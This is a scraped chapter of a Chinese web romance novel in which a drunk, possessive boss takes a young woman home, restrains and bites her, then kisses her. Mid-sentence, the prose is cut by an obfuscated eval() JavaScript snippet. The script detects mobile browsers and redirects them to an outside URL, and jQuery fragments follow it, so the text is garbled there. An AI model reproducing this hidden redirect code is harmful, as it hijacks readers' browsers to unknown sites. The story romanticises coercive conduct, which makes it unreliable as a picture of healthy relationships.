默认冷灰
24号文字
方正启体

14. 故问

作者:奚桃本书字数:K更新时间:
    在宋林即将拽上容珩手臂的前一刻,陈仪月眼疾手快的将他拦在了自己身后,原因无他,男人的气场着实恐怖。


    即使看不明晰,也让人感到不寒而栗。


    容珩看着女人的举动,神色微霁,不过转瞬,情绪复又沉了下去。


    两人的视线在空中短暂的交汇一瞬。


    容珩淡淡的,像是在面对一个无足轻重的路人。


    宋林感受到的先是敌意,而后是强烈的蔑视与不屑。


    “没事吧?!”


    宋林生硬的移开视线,讪讪收回悬置在半空的手后,担忧的问道。


    “……需不需要帮助?”


    “没事,我可以。”


    宋林还想说些什么,可碍于她身后那个男人巨大的压迫感,最后也只说了句:“有事随时给我打电话。”


    “好。”


    容珩对陈仪月同他人毫无价值的对话终于感到不耐,迫切的想要离开这个令人厌恶的地方,酒精与烟草的味道无处不在,走动间附着在他华贵的衣物上。


    陈仪月被他稳稳护在身后,没走几步,便被人群推搡着挤到了男人温热的怀中。


    携着她单薄的脊背,男人加快了步伐。


    肩头感受到他掌心那层薄薄的茧,陈仪月呼吸重了一瞬,双手抵上他的肋骨处,试图推开却无果。


    “你来做什么?”她语气里带上了几丝愠怒。


    容珩不回答,只是一味往前,她便继续追问:“你怎么知道我的行踪?”


    男人依旧沉默,直到走出那道大门,冷空气刹那间席卷她全身,南城秋冬季的夜晚向来令人裹着大衣也打哆嗦,更不用提陈仪月现在这服装扮。


    宾利停在不远处的草坪上,见主人出来,亮起了车前的大灯。


    容珩这才将面前的女人完整的、清楚地收入眼底。


    一字肩黑色紧身上衣,配上皮质的黑色包臀裙和马丁靴,裙身约莫到膝盖上一掌的位置,脖子上带着一条心形的项链,吊坠坐落在胸口。


    白净的脸蛋红扑扑的,眼尾被勾勒出一条漂亮的弧线,唇珠饱满,像曼哈顿杯壁上的那颗樱桃,令人忍不住想去采撷。


    深更半夜、一个人、酒吧、喝酒。


    打量之余,容珩的西服外套已经再一次披在了她的肩头。


    外面冷,容珩蹙眉,不欲多言,开了车门让她先上车。


    上了车她还逃得掉吗?万一容珩本性暴露想对她图谋不轨怎么办?


    哦,不对,她说错了。


    陈仪月看着容珩,冷哼一声,不用等到本性暴露,他现在看上去就十分想对她图谋不轨!!


    “你想做什么?”


    容珩看着女人一步步后退,直到与他划出一片安全距离后才停下,说话时冷声冷气的,像只脾气阴晴不定的猫,越高傲便越令人想抚摸。


    吃软不吃硬。


    冷风吹来,容珩尚且还算得上清醒,软了语气:“仪月,先上车,外面冷。”


    他叹了口气,皱着眉:“你的病刚好,别再着凉了。”


    陈仪月并不领情:“我很好,不需要多余的关心。”


    多余的关心。


    多余的。


    每一个字都在刺激着容珩愈发难以自持的理智。


    距离他们上一次见面仅仅不到二十四个小时,他就变成了她口中那个“多余的人”。


    那谁才是不多余的?


    刚刚那个长得和鬼一样的男人吗?


    落在她身上的目光骤然变得幽深起来,男人堂而皇之的踏足她所划出的安全地带,呢喃的反问,垂下头,热气喷洒在她小巧的鼻尖。


    “多余?”


    他的语气终于有了波澜。


    一想到他这双手几个小时前或许还碰过其他女人,陈仪月就止不住犯恶心,脸上闪过一丝嫌恶:“我要回去了,他们还在等我。”


    她只想赶快离开这个是非之地,顺便将满是他气味的西装外套扔回给它一点都不洁身自好的主人。


    哪怕像容珩这样年纪地位的人,有几个前任是再正常不过的事情。


    “生气了?”


    容珩不给她逃离的机会,圈住她的手腕,沉声问。


    陈仪月挣了下,无果。


    “……没有。”


    “仪月,你撒谎的时候,眨眼的频率会变快。”


    “是因为……那个‘重要的人’吗?”


    容珩语速缓缓,观察着女人眼中的情绪变化,半晌,倏然笑了出来。


    “我和他不会再见面了。”


    陈仪月反感他理所当然的语气:“管我什么事?”


    “你不想知道为什么吗?”


    “说了管我什么事?你想见就见,我也管不……”


    “他死了。”


    “……什么?”


    陈仪月尚未吐露的字眼卡在喉中,不可置信的抬头望向他。


    容珩伸手蹭了蹭她的鬓角,仿佛在和她说明天早上要吃什么那样平淡:“是我的祖父,今天出殡。”


    “现在还要回去吗?”


    两人面对面沉默半晌,陈仪月磕磕绊绊开口,绞尽脑汁终于找到一个正当的理由。


    “我的衣服还在……”


    “买新的。”


    借口被堵死,陈仪月咬了咬唇,原先的尖刺被他一根根耐心的拔下,本想借此令他远离,却没成想如今成了被他握在手中的把柄。


    “……我没钱。”陈仪月还想再最后挣扎一下。


    容珩被她逗笑:“很快就有了。”


    车上暖气很足,司机依旧是老熟人肖祁,眼神目视前方,向老板请示前去的地点。


    “想去哪?”


    容珩问她。


    不同于早上两人之间足以再容纳一人的距离,容珩此刻实打实的坐在她身旁,手臂往下搂住了她的腰。


    陈仪月怕痒,想躲,容珩却以为她又想逃,睨了她一眼,强行将她禁锢在了自己的掌控范围之内。


    容珩喉结滚动,耳尖连着脖颈弥漫着不正常的粉红。


    左侧腰腹的位置被不轻不重的拍了下,陈仪月脸上顿时升起两抹火烧云,一动也不敢动了。


    她有一种强烈的直觉。


    今天晚上一定会发生些什么。


    ……


    容珩一路上都没再多言,陈仪月也犹如被抓住了耳朵的兔子一言不发,赖在他怀里装死。


    她知道容珩说出口的那个地址,是东城远近闻名的富人区,一套房售价高达九位数,怎么也不像是容氏这种规模企业话事人可以承担得起的价格。


    陈仪月没有多问。


    车辆稳稳驶入草坪来到大门前,管家已经等候多时,上前为主人拉开后座的车门。


    也是在这时,陈仪月才发现容珩已然红到不正常的脸色,连带着气息也变得沉重,即使有意克制,呼吸声依旧如暧昧的喘息一般闯入她的耳中,使她整个人变得滚烫起来。


    好在容珩步伐还算平稳,精准无误的牵起她的手,十指极具攻略性的同她交错。


    “嘀——”的一声,门开了,两三秒间又被合上。


    偌大的别墅内空无一人,原本冷清的氛围却因为今夜变得火热起来。


    陈仪月有点被他的状态给吓到了,下意识将手掌贴上了他的脸侧,思量间,想到了那一小口她喝剩下的酒液。


    不会……吧?


    “容珩……容珩?”她不停地叫他的名字,意图通过他的回应来确定他此刻的状态。


    容珩忍了一路,源源不断的湿热充斥在他浑身上下的血液经络之中,微凉的指尖主动迎上了他,几乎是瞬间就被他牵引的往下来到脖颈……转而又抬起抚过他的唇。


    在她掌心留下一个极轻的吻。


    “不要叫……”他哑声道。


    陈仪月恼羞成怒:“谁叫了!明明是你一直在喘好不好!”


    酒醉的人哪里听得进去这些,和一个醉鬼简直毫无道理可讲,男人不由分说的将她堵在了玄关,将她抵在墙边,大腿紧挨着她皮质的裙边。


    脑中警铃作响,陈仪月感受到被他握着的力度在不断的收紧,额头甚至出了一层薄汗,平日里清明的眼中甚至蒙上了些许水汽,朦胧的像是在引诱,略过她的眉眼、鼻尖、嘴唇……


    “扣子,帮我解开,好吗?”


    “……那你倒是把我放开啊。”


    陈仪月无奈道,他胡乱的用唇蹭着她的掌心,若即若离毫无章法,那么大个人就喝了那么点酒竟然就变成了这么不讲理的样子。


    容珩不放,当没听到,只一味的靠近她,久旱逢甘霖般将脑袋埋入她的颈间,四处游离一番后,为数不多的理智也被燃烧殆尽。


    野兽终于褪下了绅士的外衣,露出深藏已久的獠牙,毫不留情的咬了下去,妄图刺破她娇嫩的肌肤,留下不可磨灭的印记。


    没有任何安抚的,只有直冲神经的痛觉,陈仪月抓住他的发根往外扯,谁知道男人不仅恍若未闻,反而愈发兴奋。


    “痛……”陈仪月眼角被逼出一丝泪花,声音带上了哭腔。


    “这是惩罚,仪月。”


    耳鬓厮磨间,她筋疲力尽的顺着墙壁滑下,忿忿道:“……我看明明是借口。”


    容珩将她捞回怀中,单手将她抱起,悬空的瞬间,陈仪月从口中溢出一声惊呼,慌乱间急忙搂住了她的脖颈。


    “去哪?”


    “这是你家……问我做什么?”


    蓦然有一种箭在弦上的错觉,攥着男人后领的掌心微微发汗,嗓音有些干涸。


    她试探着问:“你到底醉了没?”


    容珩答:“嗯。”


    陈仪月在他眼前比了个数字:“这是几?”


    “几。”


    陈仪月:“……”


    看来是真醉了。


    不然她怎么会觉得莫名有些可爱?


    “这一间?”


    容珩在主卧的门口停下,陈仪月呼吸一滞:“……这是谁的房间?”


    “不知道。”


    “我看是你的吧?”


    “好聪明……Eve.”夸奖的语气。


    “怎么突然这么叫我……”有点羞耻。


    “那你想我叫你什么呢……仪月。”


    “……都可以。”


    “怎么这么乖。”


    是因为被他抓住了小尾巴吗?


    他的事解决了,可她的事……他还只字未提。


    不过一切都不重要,没有任何人会成为她走向他的阻碍,当然,也没有资格。


    他的确是醉了,但也还尚存一丝清醒。


    更确切的说,是他在允许自己放纵。


    在她面前使些无伤大雅的小手段并不难堪,反而是一种令人痴迷的乐趣,也省得她再被那些无关紧要的人占据了心神。


    她眼里就应该只有他一个人。


    容珩按下把手,推开房门,正欲将她放下,却听见她说:


    “你一会儿……会在这里吻我吗?”


    “或者说……还会在那里……”陈仪月看向不远处的灰色床榻,气若游丝:“……我。”


    下一秒,她自己跳了下来,恍然大悟道:“嗯……好像忘记你喝醉了……”


    “继续说。”


    容珩一步步向她靠近,她也一步步往后退去,直到跌落时,她才又听见男人似笑非笑的夸奖:“……倒是选了个好方向。”


    陈仪月咬了咬唇,长发散落在床榻间,回到了完全私人的领域之后,她在这方面总是大胆的。


    就好比现在,误会已经解除,现在这幅模样的容珩对于她来说真是毫无抵抗力。


    于是,她啄了下男人的下巴:“亲亲我好不好?”


    话音刚落,男人身上的气息便铺天盖地的将她笼罩,白衬衫下常年锻炼的身体在此刻展露出令人惊叹的力量优势,他似乎格外偏爱能将她完全掌握的姿态,双手被他压在头顶,另一只手则绕过她的后颈,拇指轻轻抬起了她的下巴。


    不过……过了一会儿后,陈仪月发觉到有些不太对劲。


    长她五岁的男人,吻技怎么能差到这种程度?!


    确切来说,这不应该叫吻,而应该被称作单纯的“磨”和“蹭”。


    直到陈仪月终于忍无可忍,主动向他发出了邀请。


    一点温热的湿意仿佛为他打开了新世界的大门,旅人终于探寻到了真正的泉眼,一汩又一汩的被他卷入口中。


    陈仪月被弄的来不及吞咽,口水顺着唇角洇湿了床单。


    她只觉得被身上的男人翻过来又覆过去,来来回回没个休止。


    数个回合后,他依旧贪婪的不知疲倦,陈仪月用尽最后一丝力气才将他推开,为自己赢得了喘息的时间。


    容珩的眼神算不上清明,透露出一股得了甜头的沉迷,与他冷峻的外表全然不符。


    他定定的看着身下的女人,掌心感受着她柔软的颈侧,脉搏在跳动,双


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363378|183801||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼迷离,俨然一副被亲懵了的样子。


    她昨晚也是这样躺在别的男人睡过的床上吗?


    他止不住的想。


    容珩拇指的顶端探入她微微张开的红唇之中,女人眼中闪过一丝惊恐,全是对他“要克制”的劝告。


    但他醉了。


    道理在醉鬼面前怎么能行得通呢?


    欲拒还迎。


    坏孩子。


    容珩看着她,大掌覆上她的双眼,彻底剥夺了她的视觉。


    她昨晚穿着浴袍的样子是否也被别人收入过眼底?或许离开他的房间后,还有另一个男人在房中等待着她的归来?


    他们会做什么呢?亲、吻、含、吮……亦或者……


    容珩无法抑制自己的猜测。


    只要与她有关的事,总是会在不经意间变得难以掌握。


    直至被亲到舌尖发麻,容珩才堪堪放过她。


    还不等她回过神,男人便重重倒在了她身旁,即使昏睡也不忘用手臂紧紧束缚住她的腰身。


    陈仪月被亲的大脑一片空白,手脚疲软,缓了好一会儿后才费了九牛二虎之力挪开了男人沉重的臂膀。


    容珩呼吸平稳,似乎已沉沉睡去。


    陈仪月满脸复杂的看了他一会儿后,来不及打量,便头也不回的跑出了这间她暂时不愿再踏足第二遍的卧室。


    开门前,她理了理杂乱的长发,分成两股披在身前,遮挡住那些令人遐想的痕迹。


    时间几近凌晨,陈仪月出来时,发觉楼下有人,看上去似乎有些眼熟。


    是为容珩拉开车门的老者。


    对方头发半白,穿着像上世纪欧洲庄园的老管家,俨然一副老绅士的模样,望向她笑容和蔼可亲,微微鞠躬向她示意:“小姐,晚上好,我姓李,是先生的管家,需要我为您做些什么吗?”


    “你们先生喝醉了……麻烦你们照顾一下他。”


    “应该的,天色不早了,我带小姐选一间客房住下吧。”


    “……那麻烦您了。”


    李管家走到她身旁:“我的荣幸,小姐。”


    “就这间吧,可以吗?”好奇的打量了一圈,陈仪月顺手指了主卧旁边的那间。


    空气缄默两秒,李管家神情有些抱歉:“小姐,这间房的钥匙在先生那里,我无权打开。”


    又是什么重要的人吗?


    即使有了前车之鉴,陈仪月还是下意识的猜测。


    今晚闹了这么一番,她筋疲力竭,匆匆洗完澡后便陷入柔软的床榻之中。


    一想到这是谁的地盘,就翻来覆去的有些睡不着。


    手脚冰凉,唇却滚烫,轻微的触碰便能带来刺痛的酥麻。


    陈仪月一个人躺在床上,夜深了,只觉有些格外的难耐,纯白的绒被将她严密的包裹着,只有一颗红扑扑的脑袋裸露在外。


    睡意不再,她的面色愈发红润,眼神有些涣散。


    嘴唇无意识的衔住了被单的边缘,留下一抹令人生疑的水渍。


    几分钟后,寂静的室内传来一道极小的嘤咛声。


    “容珩……”


    容珩这个混蛋!!!


    次日早晨,陈仪月看着洗漱台镜中的自己,嘴唇微微肿起,颈侧一道极深的齿痕,以及还有其他密密麻麻的吻痕……


    屋内有暖气,睡衣单薄,就算扣到最顶上那颗扣子也这遮不完全。


    关键是她翻找了这间客房内所有抽屉,都没有找到任何能派上用场的化妆品,这让她等会出去怎么见人?


    “叩叩——”


    还真是说曹操曹操到。


    耳边传来两声平稳而有力的敲门声,透过猫眼看去,果然是容珩那张笑面虎似的脸。


    算了,亲都亲了,有什么不好意思的……


    陈仪月摁住门把手,将门掀开一条缝隙,只露了一只眼睛给他。


    “干嘛……”她的声音闷闷的,心里是那么想,但在见到真人以后还是不可遏制的感到有些扭捏,以至于不好意思看他的脸。


    说到底还是小姑娘。


    “早安,仪月。”


    “出来吃早餐。”


    “……嗯?”


    “嗯?”


    容珩微微一笑,学着她歪了下脑袋,眼中盈着快要溢出来的笑意。


    他怎么一副什么都没发生过的样子???


    “你……”


    “我?”


    陈仪月一鼓作气,吐字时却语无伦次:“就是……昨晚上,你喝醉了……然后,嗯,然后……”


    “然后什么?”容珩皱了皱眉头,似乎在等待她的答案。


    陈仪月哑然,像泄了气的皮球:“没什么。我等会就……”


    “呜……”


    门板被男人毫不费力的推开,容珩搂住她,微凉的唇贴上她的,随之而来的是熟悉的温热气息。


    他似乎刚剃过须,唇周有一股淡淡的潮意。


    这个吻并没有持续太久,却缱绻的过分,带着怜惜的眷恋。


    离开前,容珩亲了亲她的眉心。


    “然后是这个,对吗?”


    意识到自己被耍了的陈仪月狠狠咬了一口男人的下巴,留下一个不轻不重的牙印,皮球被人重新充满气:“你耍我!”


    他答非所问:“嗯,是薄荷。”


    陈仪月立刻闭紧了嘴巴,将头埋入了容珩宽阔的胸膛,随即发出一声低低的叹息。


    “我今天能不能请个假啊……”


    “可以,理由呢。”


    陈仪月语速极快:“需要消化一下自己和老板搞到一起去了的这个事实。”


    容珩沉默了一瞬,捏着她的后颈,将人从他的怀中剥离,意有所指般重复了一遍她的用词。


    “搞?”


    这个字从这人嘴里说出来实在是过于违和。


    听的人脸红。


    陈仪月似乎想到了什么,移开了视线。


    “……不要在意这些小细节。”


    他依旧上句不接下句的答:“嗯,会的。”


    反应过来他在说什么的陈仪月:“……”


    不久后,容珩独自一人踱步回到餐厅。


    正在一旁上菜的李管家见他进来,出声致意:“先生。”


    容珩点点头,侧身入座,动作间,露出颈侧尚未消退的、新鲜的暧昧痕迹。


    李管家动作依旧,会心一笑。


    怎么也没想到,先生谈起恋爱来竟然会是这种风格。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)